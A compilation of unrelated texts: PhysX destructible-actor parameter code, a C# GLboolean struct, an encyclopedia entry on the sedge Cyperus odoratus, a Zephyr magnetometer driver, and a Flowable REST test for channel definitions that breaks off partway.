// SetChildren for: nodeIndex=237, longName="behaviorGroups[].damageSpread"
{
static Definition* Children[3];
Children[0] = PDEF_PTR(238);
Children[1] = PDEF_PTR(239);
Children[2] = PDEF_PTR(240);
ParamDefTable[237].setChildren(Children, 3);
}
// SetChildren for: nodeIndex=241, longName="behaviorGroups[].damageColorSpread"
{
static Definition* Children[3];
Children[0] = PDEF_PTR(242);
Children[1] = PDEF_PTR(243);
Children[2] = PDEF_PTR(244);
ParamDefTable[241].setChildren(Children, 3);
}
// SetChildren for: nodeIndex=249, longName="behaviorGroups[].groupsMask"
{
static Definition* Children[5];
Children[0] = PDEF_PTR(250);
Children[1] = PDEF_PTR(251);
Children[2] = PDEF_PTR(252);
Children[3] = PDEF_PTR(253);
Children[4] = PDEF_PTR(254);
ParamDefTable[249].setChildren(Children, 5);
}
mBuiltFlag = true;
}
void DestructibleActorParam_0p19::initStrings(void)
{
crumbleEmitterName.isAllocated = false;
crumbleEmitterName.buf = (const char*)0;
dustEmitterName.isAllocated = false;
dustEmitterName.buf = (const char*)0;
defaultBehaviorGroup.name.isAllocated = true;
defaultBehaviorGroup.name.buf = NULL;
}
void DestructibleActorParam_0p19::initDynamicArrays(void)
{
overrideSkinnedMaterialNames.buf = NULL;
overrideSkinnedMaterialNames.isAllocated = true;
overrideSkinnedMaterialNames.elementSize = sizeof(NvParameterized::DummyStringStruct);
overrideSkinnedMaterialNames.arraySizes[0] = 0;
overrideStaticMaterialNames.buf = NULL;
overrideStaticMaterialNames.isAllocated = true;
overrideStaticMaterialNames.elementSize = sizeof(NvParameterized::DummyStringStruct);
overrideStaticMaterialNames.arraySizes[0] = 0;
depthParameters.buf = NULL;
depthParameters.isAllocated = true;
depthParameters.elementSize = sizeof(DestructibleDepthParameters_Type);
depthParameters.arraySizes[0] = 0;
behaviorGroups.buf = NULL;
behaviorGroups.isAllocated = true;
behaviorGroups.elementSize = sizeof(BehaviorGroup_Type);
behaviorGroups.arraySizes[0] = 0;
}
void DestructibleActorParam_0p19::initDefaults(void)
{
freeStrings();
freeReferences();
freeDynamicArrays();
crumbleParticleSpacing = float(0);
dustParticleSpacing = float(0);
{
const float value[12] = {true};
for (int i = 0; i < 12; ++i)
{
globalPose[i] = value[i];
}
}
scale = physx::PxVec3(init(1, 1, 1));
dynamic = bool(true);
supportDepth = uint32_t(0);
formExtendedStructures = bool(false);
keepPreviousFrameBoneBuffer = bool(false);
useAssetDefinedSupport = bool(false);
useWorldSupport = bool(false);
renderStaticChunksSeparately = bool(false);
createChunkEvents = bool(false);
sleepVelocityFrameDecayConstant = float(1);
useHardSleeping = bool(false);
destructibleParameters.damageCap = float(0);
destructibleParameters.forceToDamage = float(0);
destructibleParameters.impactVelocityThreshold = float(0);
destructibleParameters.minimumFractureDepth = uint32_t(0);
destructibleParameters.impactDamageDefaultDepth = int32_t(-1);
destructibleParameters.debrisDepth = int32_t(-1);
destructibleParameters.essentialDepth = uint32_t(0);
destructibleParameters.debrisLifetimeMin = float(1);
destructibleParameters.debrisLifetimeMax = float(10);
destructibleParameters.debrisMaxSeparationMin = float(1);
destructibleParameters.debrisMaxSeparationMax = float(10);
destructibleParameters.debrisDestructionProbability = float(0);
destructibleParameters.validBounds = physx::PxBounds3(init(-1000, -1000, -1000, 1000, 1000, 1000));
destructibleParameters.maxChunkSpeed = float(0);
destructibleParameters.flags.ACCUMULATE_DAMAGE = bool(true);
destructibleParameters.flags.DEBRIS_TIMEOUT = bool(false);
destructibleParameters.flags.DEBRIS_MAX_SEPARATION = bool(false);
destructibleParameters.flags.CRUMBLE_SMALLEST_CHUNKS = bool(false);
destructibleParameters.flags.ACCURATE_RAYCASTS = bool(false);
destructibleParameters.flags.USE_VALID_BOUNDS = bool(false);
destructibleParameters.flags.CRUMBLE_VIA_RUNTIME_FRACTURE = bool(false);
destructibleParameters.fractureImpulseScale = float(0);
destructibleParameters.damageDepthLimit = uint16_t(UINT16_MAX);
destructibleParameters.dynamicChunkDominanceGroup = uint16_t(UINT16_MAX);
destructibleParameters.dynamicChunksGroupsMask.useGroupsMask = bool(false);
destructibleParameters.dynamicChunksGroupsMask.bits0 = uint32_t(0);
destructibleParameters.dynamicChunksGroupsMask.bits1 = uint32_t(0);
destructibleParameters.dynamicChunksGroupsMask.bits2 = uint32_t(0);
destructibleParameters.dynamicChunksGroupsMask.bits3 = uint32_t(0);
shapeDescTemplate.flags.NX_TRIGGER_ON_ENTER = bool(false);
shapeDescTemplate.flags.NX_TRIGGER_ON_LEAVE = bool(false);
shapeDescTemplate.flags.NX_TRIGGER_ON_STAY = bool(false);
shapeDescTemplate.flags.NX_SF_VISUALIZATION = bool(true);
shapeDescTemplate.flags.NX_SF_DISABLE_COLLISION = bool(false);
shapeDescTemplate.flags.NX_SF_FEATURE_INDICES = bool(false);
shapeDescTemplate.flags.NX_SF_DISABLE_RAYCASTING = bool(false);
shapeDescTemplate.flags.NX_SF_POINT_CONTACT_FORCE = bool(false);
shapeDescTemplate.flags.NX_SF_FLUID_DRAIN = bool(false);
shapeDescTemplate.flags.NX_SF_FLUID_DISABLE_COLLISION = bool(false);
shapeDescTemplate.flags.NX_SF_FLUID_TWOWAY = bool(false);
shapeDescTemplate.flags.NX_SF_DISABLE_RESPONSE = bool(false);
shapeDescTemplate.flags.NX_SF_DYNAMIC_DYNAMIC_CCD = bool(false);
shapeDescTemplate.flags.NX_SF_DISABLE_SCENE_QUERIES = bool(false);
shapeDescTemplate.flags.NX_SF_CLOTH_DRAIN = bool(false);
shapeDescTemplate.flags.NX_SF_CLOTH_DISABLE_COLLISION = bool(false);
shapeDescTemplate.flags.NX_SF_CLOTH_TWOWAY = bool(true);
shapeDescTemplate.flags.NX_SF_SOFTBODY_DRAIN = bool(false);
shapeDescTemplate.flags.NX_SF_SOFTBODY_DISABLE_COLLISION = bool(false);
shapeDescTemplate.flags.NX_SF_SOFTBODY_TWOWAY = bool(true);
shapeDescTemplate.collisionGroup = uint16_t(0);
shapeDescTemplate.groupsMask.useGroupsMask = bool(false);
shapeDescTemplate.groupsMask.bits0 = uint32_t(0);
shapeDescTemplate.groupsMask.bits1 = uint32_t(0);
shapeDescTemplate.groupsMask.bits2 = uint32_t(0);
shapeDescTemplate.groupsMask.bits3 = uint32_t(0);
shapeDescTemplate.materialIndex = uint16_t(0);
shapeDescTemplate.density = float(1);
shapeDescTemplate.skinWidth = float(-1);
shapeDescTemplate.userData = uint64_t(0);
shapeDescTemplate.name = uint64_t(0);
actorDescTemplate.flags.NX_AF_DISABLE_COLLISION = bool(false);
actorDescTemplate.flags.NX_AF_DISABLE_RESPONSE = bool(false);
actorDescTemplate.flags.NX_AF_LOCK_COM = bool(false);
actorDescTemplate.flags.NX_AF_FLUID_DISABLE_COLLISION = bool(false);
actorDescTemplate.flags.NX_AF_CONTACT_MODIFICATION = bool(false);
actorDescTemplate.flags.NX_AF_FORCE_CONE_FRICTION = bool(false);
actorDescTemplate.flags.NX_AF_USER_ACTOR_PAIR_FILTERING = bool(false);
actorDescTemplate.density = float(1);
actorDescTemplate.actorCollisionGroup = uint16_t(0);
actorDescTemplate.dominanceGroup = uint16_t(0);
actorDescTemplate.contactReportFlags.NX_IGNORE_PAIR = bool(false);
actorDescTemplate.contactReportFlags.NX_NOTIFY_ON_START_TOUCH = bool(false);
actorDescTemplate.contactReportFlags.NX_NOTIFY_ON_END_TOUCH = bool(false);
actorDescTemplate.contactReportFlags.NX_NOTIFY_ON_TOUCH = bool(false);
actorDescTemplate.contactReportFlags.NX_NOTIFY_ON_IMPACT = bool(false);
actorDescTemplate.contactReportFlags.NX_NOTIFY_ON_ROLL = bool(false);
actorDescTemplate.contactReportFlags.NX_NOTIFY_ON_SLIDE = bool(false);
actorDescTemplate.contactReportFlags.NX_NOTIFY_FORCES = bool(false);
actorDescTemplate.contactReportFlags.NX_NOTIFY_ON_START_TOUCH_FORCE_THRESHOLD = bool(false);
actorDescTemplate.contactReportFlags.NX_NOTIFY_ON_END_TOUCH_FORCE_THRESHOLD = bool(false);
actorDescTemplate.contactReportFlags.NX_NOTIFY_ON_TOUCH_FORCE_THRESHOLD = bool(false);
actorDescTemplate.contactReportFlags.NX_NOTIFY_CONTACT_MODIFICATION = bool(false);
actorDescTemplate.forceFieldMaterial = uint16_t(0);
actorDescTemplate.userData = uint64_t(0);
actorDescTemplate.name = uint64_t(0);
actorDescTemplate.compartment = uint64_t(0);
bodyDescTemplate.flags.NX_BF_DISABLE_GRAVITY = bool(false);
bodyDescTemplate.flags.NX_BF_FILTER_SLEEP_VEL = bool(false);
bodyDescTemplate.flags.NX_BF_ENERGY_SLEEP_TEST = bool(true);
bodyDescTemplate.flags.NX_BF_VISUALIZATION = bool(true);
bodyDescTemplate.wakeUpCounter = float(0.4);
bodyDescTemplate.linearDamping = float(0);
bodyDescTemplate.angularDamping = float(0.05);
bodyDescTemplate.maxAngularVelocity = float(-1);
bodyDescTemplate.CCDMotionThreshold = float(0);
bodyDescTemplate.sleepLinearVelocity = float(-1);
bodyDescTemplate.sleepAngularVelocity = float(-1);
bodyDescTemplate.solverIterationCount = uint32_t(4);
bodyDescTemplate.sleepEnergyThreshold = float(0.005);
bodyDescTemplate.sleepDamping = float(0);
bodyDescTemplate.contactReportThreshold = float(PX_MAX_F32);
p3ShapeDescTemplate.flags.eSIMULATION_SHAPE = bool(true);
p3ShapeDescTemplate.flags.eSCENE_QUERY_SHAPE = bool(true);
p3ShapeDescTemplate.flags.eTRIGGER_SHAPE = bool(false);
p3ShapeDescTemplate.flags.eVISUALIZATION = bool(true);
p3ShapeDescTemplate.flags.ePARTICLE_DRAIN = bool(false);
p3ShapeDescTemplate.flags.eDEFORMABLE_DRAIN = bool(false);
p3ShapeDescTemplate.simulationFilterData.word0 = uint32_t(0);
p3ShapeDescTemplate.simulationFilterData.word1 = uint32_t(0);
p3ShapeDescTemplate.simulationFilterData.word2 = uint32_t(0);
p3ShapeDescTemplate.simulationFilterData.word3 = uint32_t(0);
p3ShapeDescTemplate.queryFilterData.word0 = uint32_t(0);
p3ShapeDescTemplate.queryFilterData.word1 = uint32_t(0);
p3ShapeDescTemplate.queryFilterData.word2 = uint32_t(0);
p3ShapeDescTemplate.queryFilterData.word3 = uint32_t(0);
p3ShapeDescTemplate.material = uint64_t(0);
p3ShapeDescTemplate.contactOffset = float(0.02);
p3ShapeDescTemplate.restOffset = float(0);
p3ShapeDescTemplate.userData = uint64_t(0);
p3ShapeDescTemplate.name = uint64_t(0);
p3ActorDescTemplate.flags.eVISUALIZATION = bool(true);
p3ActorDescTemplate.flags.eDISABLE_GRAVITY = bool(false);
p3ActorDescTemplate.flags.eSEND_SLEEP_NOTIFIES = bool(true);
p3ActorDescTemplate.dominanceGroup = uint8_t(0);
p3ActorDescTemplate.ownerClient = uint8_t(0);
p3ActorDescTemplate.clientBehaviorBits = uint32_t(0);
p3ActorDescTemplate.contactReportFlags.eRESOLVE_CONTACTS = bool(false);
p3ActorDescTemplate.contactReportFlags.eMODIFY_CONTACTS = bool(false);
p3ActorDescTemplate.contactReportFlags.eNOTIFY_TOUCH_FOUND = bool(false);
p3ActorDescTemplate.contactReportFlags.eNOTIFY_TOUCH_PERSISTS = bool(false);
p3ActorDescTemplate.contactReportFlags.eNOTIFY_TOUCH_LOST = bool(false);
p3ActorDescTemplate.contactReportFlags.eNOTIFY_THRESHOLD_FORCE_FOUND = bool(false);
p3ActorDescTemplate.contactReportFlags.eNOTIFY_THRESHOLD_FORCE_PERSISTS = bool(false);
p3ActorDescTemplate.contactReportFlags.eNOTIFY_THRESHOLD_FORCE_LOST = bool(false);
p3ActorDescTemplate.contactReportFlags.eNOTIFY_CONTACT_POINTS = bool(false);
p3ActorDescTemplate.contactReportFlags.eNOTIFY_CONTACT_FORCES = bool(false);
p3ActorDescTemplate.contactReportFlags.eNOTIFY_CONTACT_FORCE_PER_POINT = bool(false);
p3ActorDescTemplate.contactReportFlags.eNOTIFY_CONTACT_FEATURE_INDICES_PER_POINT = bool(false);
p3ActorDescTemplate.contactReportFlags.eCCD_LINEAR = bool(false);
p3ActorDescTemplate.contactReportFlags.eCONTACT_DEFAULT = bool(false);
p3ActorDescTemplate.contactReportFlags.eTRIGGER_DEFAULT = bool(false);
p3ActorDescTemplate.userData = uint64_t(0);
p3ActorDescTemplate.name = uint64_t(0);
p3BodyDescTemplate.density = float(1);
p3BodyDescTemplate.flags.eKINEMATIC = bool(false);
p3BodyDescTemplate.flags.eENABLE_CCD = bool(false);
p3BodyDescTemplate.sleepThreshold = float(0.005);
p3BodyDescTemplate.wakeUpCounter = float(0.4);
p3BodyDescTemplate.linearDamping = float(0);
p3BodyDescTemplate.angularDamping = float(0.05);
p3BodyDescTemplate.maxAngularVelocity = float(7);
p3BodyDescTemplate.solverIterationCount = uint32_t(4);
p3BodyDescTemplate.contactReportThreshold = float(PX_MAX_F32);
p3BodyDescTemplate.sleepLinearVelocity = float(-1);
structureSettings.useStressSolver = bool(false);
structureSettings.stressSolverTimeDelay = float(1.0);
structureSettings.stressSolverMassThreshold = float(0.0);
defaultBehaviorGroup.damageThreshold = float(1);
defaultBehaviorGroup.damageToRadius = float(0.1);
defaultBehaviorGroup.damageSpread.minimumRadius = float(0);
defaultBehaviorGroup.damageSpread.radiusMultiplier = float(1);
defaultBehaviorGroup.damageSpread.falloffExponent = float(1);
defaultBehaviorGroup.damageColorSpread.minimumRadius = float(0);
defaultBehaviorGroup.damageColorSpread.radiusMultiplier = float(1);
defaultBehaviorGroup.damageColorSpread.falloffExponent = float(1);
defaultBehaviorGroup.damageColorChange = physx::PxVec4(initVec4(0, 0, 0, 0));
defaultBehaviorGroup.materialStrength = float(0);
defaultBehaviorGroup.density = float(0);
defaultBehaviorGroup.fadeOut = float(1);
defaultBehaviorGroup.groupsMask.useGroupsMask = bool(false);
defaultBehaviorGroup.groupsMask.bits0 = uint32_t(0);
defaultBehaviorGroup.groupsMask.bits1 = uint32_t(0);
defaultBehaviorGroup.groupsMask.bits2 = uint32_t(0);
defaultBehaviorGroup.groupsMask.bits3 = uint32_t(0);
initDynamicArrays();
initStrings();
initReferences();
}
void DestructibleActorParam_0p19::initReferences(void)
{
}
void DestructibleActorParam_0p19::freeDynamicArrays(void)
{
if (overrideSkinnedMaterialNames.isAllocated && overrideSkinnedMaterialNames.buf)
{
mParameterizedTraits->free(overrideSkinnedMaterialNames.buf);
}
if (overrideStaticMaterialNames.isAllocated && overrideStaticMaterialNames.buf)
{
mParameterizedTraits->free(overrideStaticMaterialNames.buf);
}
if (depthParameters.isAllocated && depthParameters.buf)
{
mParameterizedTraits->free(depthParameters.buf);
}
if (behaviorGroups.isAllocated && behaviorGroups.buf)
{
mParameterizedTraits->free(behaviorGroups.buf);
}
}
void DestructibleActorParam_0p19::freeStrings(void)
{
if (crumbleEmitterName.isAllocated && crumbleEmitterName.buf)
{
mParameterizedTraits->strfree((char*)crumbleEmitterName.buf);
}
if (dustEmitterName.isAllocated && dustEmitterName.buf)
{
mParameterizedTraits->strfree((char*)dustEmitterName.buf);
}
for (int i = 0; i < overrideSkinnedMaterialNames.arraySizes[0]; ++i)
{
if (overrideSkinnedMaterialNames.buf[i].isAllocated && overrideSkinnedMaterialNames.buf[i].buf)
{
mParameterizedTraits->strfree((char*)overrideSkinnedMaterialNames.buf[i].buf);
}
}
for (int i = 0; i < overrideStaticMaterialNames.arraySizes[0]; ++i)
{
if (overrideStaticMaterialNames.buf[i].isAllocated && overrideStaticMaterialNames.buf[i].buf)
{
mParameterizedTraits->strfree((char*)overrideStaticMaterialNames.buf[i].buf);
}
}
if (defaultBehaviorGroup.name.isAllocated && defaultBehaviorGroup.name.buf)
{
mParameterizedTraits->strfree((char*)defaultBehaviorGroup.name.buf);
}
for (int i = 0; i < behaviorGroups.arraySizes[0]; ++i)
{
if (behaviorGroups.buf[i].name.isAllocated && behaviorGroups.buf[i].name.buf)
{
mParameterizedTraits->strfree((char*)behaviorGroups.buf[i].name.buf);
}
}
}
void DestructibleActorParam_0p19::freeReferences(void)
{
}
} // namespace parameterized
} // namespace nvidia
```
|
```smalltalk
using System;
namespace Veldrid.OpenGLBinding
{
/// <summary>
/// A boolean value stored in an unsigned byte.
/// </summary>
public struct GLboolean : IEquatable<GLboolean>
{
/// <summary>
/// The raw value of the <see cref="GLboolean"/>. A value of 0 represents "false", all other values represent "true".
/// </summary>
public byte Value;
/// <summary>
/// Constructs a new <see cref="GLboolean"/> with the given raw value.
/// </summary>
/// <param name="value"></param>
public GLboolean(byte value)
{
Value = value;
}
/// <summary>
/// Represents the boolean "true" value. Has a raw value of 1.
/// </summary>
public static readonly GLboolean True = new GLboolean(1);
/// <summary>
/// Represents the boolean "true" value. Has a raw value of 0.
/// </summary>
public static readonly GLboolean False = new GLboolean(0);
/// <summary>
/// Returns whether another <see cref="GLboolean"/> value is considered equal to this one.
/// Two <see cref="GLboolean"/>s are considered equal when their raw values are equal.
/// </summary>
/// <param name="other">The value to compare to.</param>
/// <returns>True if the other value's underlying raw value is equal to this instance's. False otherwise.</returns>
public bool Equals(GLboolean other)
{
return Value.Equals(other.Value);
}
public override bool Equals(object obj)
{
return obj is GLboolean b && Equals(b);
}
public override int GetHashCode()
{
return Value.GetHashCode();
}
public override string ToString()
{
return $"{(this ? "True" : "False")} ({Value})";
}
public static implicit operator bool(GLboolean b) => b.Value != 0;
public static implicit operator uint(GLboolean b) => b.Value;
public static implicit operator GLboolean(bool b) => b ? True : False;
public static implicit operator GLboolean(byte value) => new GLboolean(value);
public static bool operator ==(GLboolean left, GLboolean right) => left.Value == right.Value;
public static bool operator !=(GLboolean left, GLboolean right) => left.Value != right.Value;
}
}
```
|
Cyperus odoratus is a species of sedge known by the common names fragrant flatsedge and rusty flatsedge. This species is quite variable and may in fact be more than one species included under one name.
Description
In general this is an annual plant approaching half a meter in height on average but known to grow much taller. It usually has some long, thin leaves around the base. The inflorescence is made up of one to several cylindrical spikes attached at a common point. Each of the spikes bears a large number of flat, oval-shaped spikelets. Each spikelet is usually light brown to reddish-brown and has a few to over 20 flowers. Each flower is covered by a tough, flat bract with a visible midvein. The fruit is a flat achene less than two millimeters long.
Distribution and habitat
This plant can be found in much of the tropical and warm temperate world, including South, Central, and North America, Southeast Asia, some Pacific Islands, Australia, New Guinea, Madagascar, and central Africa. It is a plant of wet, muddy areas, including disturbed and altered sites.
See also
List of Cyperus species
References
External links
USDA Plants Profile
Photo gallery
odoratus
Flora of Northern America
Flora of Southern America
Flora of Africa
Flora of Australia
Flora of Madagascar
Flora of New Guinea
Plants described in 1753
Taxa named by Carl Linnaeus
|
```c
/*
*/
#define DT_DRV_COMPAT asahi_kasei_akm09918c
#include <zephyr/device.h>
#include <zephyr/drivers/i2c.h>
#include <zephyr/kernel.h>
#include <zephyr/drivers/sensor.h>
#include <zephyr/drivers/sensor_data_types.h>
#include <zephyr/sys/__assert.h>
#include <zephyr/sys/byteorder.h>
#include <zephyr/sys/util.h>
#include <zephyr/logging/log.h>
#include "akm09918c.h"
#include "akm09918c_reg.h"
LOG_MODULE_REGISTER(AKM09918C, CONFIG_SENSOR_LOG_LEVEL);
/**
* @brief Perform the bus transaction to fetch samples
*
* @param dev Sensor device to operate on
* @param chan Channel ID to fetch
* @param x Location to write X channel sample.
* @param y Location to write Y channel sample.
* @param z Location to write Z channel sample.
* @return int 0 if successful or error code
*/
int akm09918c_sample_fetch_helper(const struct device *dev, enum sensor_channel chan, int16_t *x,
int16_t *y, int16_t *z)
{
struct akm09918c_data *data = dev->data;
const struct akm09918c_config *cfg = dev->config;
uint8_t buf[9] = {0};
if (chan != SENSOR_CHAN_ALL && chan != SENSOR_CHAN_MAGN_X && chan != SENSOR_CHAN_MAGN_Y &&
chan != SENSOR_CHAN_MAGN_Z && chan != SENSOR_CHAN_MAGN_XYZ) {
LOG_DBG("Invalid channel %d", chan);
return -EINVAL;
}
if (data->mode == AKM09918C_CNTL2_PWR_DOWN) {
if (i2c_reg_write_byte_dt(&cfg->i2c, AKM09918C_REG_CNTL2,
AKM09918C_CNTL2_SINGLE_MEASURE) != 0) {
LOG_ERR("Failed to start measurement.");
return -EIO;
}
/* Wait for sample */
LOG_DBG("Waiting for sample...");
k_usleep(AKM09918C_MEASURE_TIME_US);
}
/* We have to read through the TMPS register or the data_ready bit won't clear */
if (i2c_burst_read_dt(&cfg->i2c, AKM09918C_REG_ST1, buf, ARRAY_SIZE(buf)) != 0) {
LOG_ERR("Failed to read sample data.");
return -EIO;
}
if (FIELD_GET(AKM09918C_ST1_DRDY, buf[0]) == 0) {
LOG_ERR("Data not ready, st1=0x%02x", buf[0]);
return -EBUSY;
}
*x = sys_le16_to_cpu(buf[1] | (buf[2] << 8));
*y = sys_le16_to_cpu(buf[3] | (buf[4] << 8));
*z = sys_le16_to_cpu(buf[5] | (buf[6] << 8));
return 0;
}
static int akm09918c_sample_fetch(const struct device *dev, enum sensor_channel chan)
{
struct akm09918c_data *data = dev->data;
return akm09918c_sample_fetch_helper(dev, chan, &data->x_sample, &data->y_sample,
&data->z_sample);
}
static void akm09918c_convert(struct sensor_value *val, int16_t sample)
{
int64_t conv_val = sample * AKM09918C_MICRO_GAUSS_PER_BIT;
val->val1 = conv_val / 1000000;
val->val2 = conv_val - (val->val1 * 1000000);
}
static int akm09918c_channel_get(const struct device *dev, enum sensor_channel chan,
struct sensor_value *val)
{
struct akm09918c_data *data = dev->data;
if (chan == SENSOR_CHAN_MAGN_XYZ) {
akm09918c_convert(val, data->x_sample);
akm09918c_convert(val + 1, data->y_sample);
akm09918c_convert(val + 2, data->z_sample);
} else if (chan == SENSOR_CHAN_MAGN_X) {
akm09918c_convert(val, data->x_sample);
} else if (chan == SENSOR_CHAN_MAGN_Y) {
akm09918c_convert(val, data->y_sample);
} else if (chan == SENSOR_CHAN_MAGN_Z) {
akm09918c_convert(val, data->z_sample);
} else {
LOG_DBG("Invalid channel %d", chan);
return -ENOTSUP;
}
return 0;
}
static int akm09918c_attr_get(const struct device *dev, enum sensor_channel chan,
enum sensor_attribute attr, struct sensor_value *val)
{
struct akm09918c_data *data = dev->data;
switch (chan) {
case SENSOR_CHAN_MAGN_X:
case SENSOR_CHAN_MAGN_Y:
case SENSOR_CHAN_MAGN_Z:
case SENSOR_CHAN_MAGN_XYZ:
if (attr != SENSOR_ATTR_SAMPLING_FREQUENCY) {
LOG_WRN("Invalid attribute %d", attr);
return -EINVAL;
}
akm09918c_reg_to_hz(data->mode, val);
break;
default:
LOG_WRN("Invalid channel %d", chan);
return -EINVAL;
}
return 0;
}
static int akm09918c_attr_set(const struct device *dev, enum sensor_channel chan,
enum sensor_attribute attr, const struct sensor_value *val)
{
const struct akm09918c_config *cfg = dev->config;
struct akm09918c_data *data = dev->data;
int res;
switch (chan) {
case SENSOR_CHAN_MAGN_X:
case SENSOR_CHAN_MAGN_Y:
case SENSOR_CHAN_MAGN_Z:
case SENSOR_CHAN_MAGN_XYZ:
if (attr != SENSOR_ATTR_SAMPLING_FREQUENCY) {
LOG_WRN("Invalid attribute %d", attr);
return -EINVAL;
}
uint8_t mode = akm09918c_hz_to_reg(val);
res = i2c_reg_write_byte_dt(&cfg->i2c, AKM09918C_REG_CNTL2, mode);
if (res != 0) {
LOG_ERR("Failed to set sample frequency");
return -EIO;
}
data->mode = mode;
break;
default:
LOG_WRN("Invalid channel %d", chan);
return -EINVAL;
}
return 0;
}
static inline int akm09918c_check_who_am_i(const struct i2c_dt_spec *i2c)
{
uint8_t buffer[2];
int rc;
rc = i2c_burst_read_dt(i2c, AKM09918C_REG_WIA1, buffer, ARRAY_SIZE(buffer));
if (rc != 0) {
LOG_ERR("Failed to read who-am-i register (rc=%d)", rc);
return -EIO;
}
if (buffer[0] != AKM09918C_WIA1 || buffer[1] != AKM09918C_WIA2) {
LOG_ERR("Wrong who-am-i value");
return -EINVAL;
}
return 0;
}
static int akm09918c_init(const struct device *dev)
{
const struct akm09918c_config *cfg = dev->config;
struct akm09918c_data *data = dev->data;
int rc;
if (!i2c_is_ready_dt(&cfg->i2c)) {
LOG_ERR("I2C bus device not ready");
return -ENODEV;
}
/* Soft reset the chip */
rc = i2c_reg_write_byte_dt(&cfg->i2c, AKM09918C_REG_CNTL3,
FIELD_PREP(AKM09918C_CNTL3_SRST, 1));
if (rc != 0) {
LOG_ERR("Failed to soft reset");
return -EIO;
}
/* check chip ID */
rc = akm09918c_check_who_am_i(&cfg->i2c);
if (rc != 0) {
return rc;
}
data->mode = AKM09918C_CNTL2_PWR_DOWN;
return 0;
}
static const struct sensor_driver_api akm09918c_driver_api = {
.sample_fetch = akm09918c_sample_fetch,
.channel_get = akm09918c_channel_get,
.attr_get = akm09918c_attr_get,
.attr_set = akm09918c_attr_set,
#ifdef CONFIG_SENSOR_ASYNC_API
.submit = akm09918c_submit,
.get_decoder = akm09918c_get_decoder,
#endif
};
#define AKM09918C_DEFINE(inst) \
static struct akm09918c_data akm09918c_data_##inst; \
\
static const struct akm09918c_config akm09918c_config_##inst = { \
.i2c = I2C_DT_SPEC_INST_GET(inst), \
}; \
\
SENSOR_DEVICE_DT_INST_DEFINE(inst, akm09918c_init, NULL, &akm09918c_data_##inst, \
&akm09918c_config_##inst, POST_KERNEL, \
CONFIG_SENSOR_INIT_PRIORITY, &akm09918c_driver_api);
DT_INST_FOREACH_STATUS_OKAY(AKM09918C_DEFINE)
```
|
```java
*
* path_to_url
*
* Unless required by applicable law or agreed to in writing, software
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*/
package org.flowable.eventregistry.rest.service.api.repository;
import static net.javacrumbs.jsonunit.assertj.JsonAssertions.assertThatJson;
import static org.assertj.core.api.Assertions.assertThat;
import java.nio.charset.StandardCharsets;
import org.apache.commons.io.IOUtils;
import org.apache.http.HttpStatus;
import org.apache.http.client.methods.CloseableHttpResponse;
import org.apache.http.client.methods.HttpGet;
import org.flowable.eventregistry.api.ChannelDefinition;
import org.flowable.eventregistry.rest.service.BaseSpringRestTestCase;
import org.flowable.eventregistry.rest.service.api.EventRestUrls;
import org.flowable.eventregistry.test.ChannelDeploymentAnnotation;
import com.fasterxml.jackson.databind.JsonNode;
import net.javacrumbs.jsonunit.core.Option;
/**
* Test for all REST-operations related to single a Channel Definition resource.
*
* @author Tijs Rademakers
*/
public class ChannelDefinitionResourceTest extends BaseSpringRestTestCase {
/**
* Test getting a single event definition. GET event-registry-repository/channel-definitions/{channelDefinitionResource}
*/
@ChannelDeploymentAnnotation(resources = { "org/flowable/eventregistry/rest/service/api/repository/simpleChannel.channel" })
public void testGetChannelDefinition() throws Exception {
ChannelDefinition channelDefinition = repositoryService.createChannelDefinitionQuery().singleResult();
HttpGet httpGet = new HttpGet(
SERVER_URL_PREFIX + EventRestUrls.createRelativeResourceUrl(EventRestUrls.URL_CHANNEL_DEFINITION, channelDefinition.getId()));
CloseableHttpResponse response = executeRequest(httpGet, HttpStatus.SC_OK);
JsonNode responseNode = objectMapper.readTree(response.getEntity().getContent());
closeResponse(response);
assertThatJson(responseNode)
.when(Option.IGNORING_EXTRA_FIELDS)
.isEqualTo("{"
+ "id: '" + channelDefinition.getId() + "',"
+ "url: '" + httpGet.getURI().toString() + "',"
+ "key: '" + channelDefinition.getKey() + "',"
+ "version: " + channelDefinition.getVersion() + ","
+ "name: '" + channelDefinition.getName() + "',"
+ "description: '" + channelDefinition.getDescription() + "',"
+ "type: '" + channelDefinition.getType() + "',"
+ "implementation: '" + channelDefinition.getImplementation() + "',"
+ "deploymentId: '" + channelDefinition.getDeploymentId() + "',"
+ "deploymentUrl: '" + SERVER_URL_PREFIX + EventRestUrls
.createRelativeResourceUrl(EventRestUrls.URL_DEPLOYMENT, channelDefinition.getDeploymentId()) + "',"
+ "resourceName: '" + channelDefinition.getResourceName() + "',"
+ "category: '" + channelDefinition.getCategory() + "'"
+ "}");
}
/**
* Test getting an unexisting channel definition. GET event-registry-repository/channel-definitions/{channelDefinitionId}
*/
public void testGetUnexistingChannelDefinition() throws Exception {
HttpGet httpGet = new HttpGet(SERVER_URL_PREFIX + EventRestUrls.createRelativeResourceUrl(EventRestUrls.URL_CHANNEL_DEFINITION, "unexisting"));
CloseableHttpResponse response = executeRequest(httpGet, HttpStatus.SC_NOT_FOUND);
closeResponse(response);
}
@ChannelDeploymentAnnotation(resources = { "simpleChannel.channel" })
public void testGetChannelDefinitionResourceData() throws Exception {
ChannelDefinition channelDefinition = repositoryService.createChannelDefinitionQuery().singleResult();
HttpGet httpGet = new HttpGet(
SERVER_URL_PREFIX + EventRestUrls.createRelativeResourceUrl(EventRestUrls.URL_CHANNEL_DEFINITION_RESOURCE_CONTENT, channelDefinition.getId()));
CloseableHttpResponse response = executeRequest(httpGet, HttpStatus.SC_OK);
// Check "OK" status
String content = IOUtils.toString(response.getEntity().getContent(), StandardCharsets.UTF_8);
closeResponse(response);
assertThat(content).isNotNull();
JsonNode eventNode = objectMapper.readTree(content);
assertThatJson(eventNode)
.when(Option.IGNORING_EXTRA_FIELDS)
.isEqualTo("{"
+ "key: 'myChannel',"
+ "channelEventKeyDetection:"
+ " {"
+ " fixedValue: 'myEvent'"
+ " }"
+ "}");
}
@ChannelDeploymentAnnotation(resources = { "simpleChannel.channel" })
public void testGetChannelDefinitionModel() throws Exception {
ChannelDefinition channelDefinition = repositoryService.createChannelDefinitionQuery().singleResult();
HttpGet httpGet = new HttpGet(
SERVER_URL_PREFIX + EventRestUrls.createRelativeResourceUrl(EventRestUrls.URL_CHANNEL_DEFINITION_MODEL, channelDefinition.getId()));
CloseableHttpResponse response = executeRequest(httpGet, HttpStatus.SC_OK);
// Check "OK" status
String content = IOUtils.toString(response.getEntity().getContent(), StandardCharsets.UTF_8);
closeResponse(response);
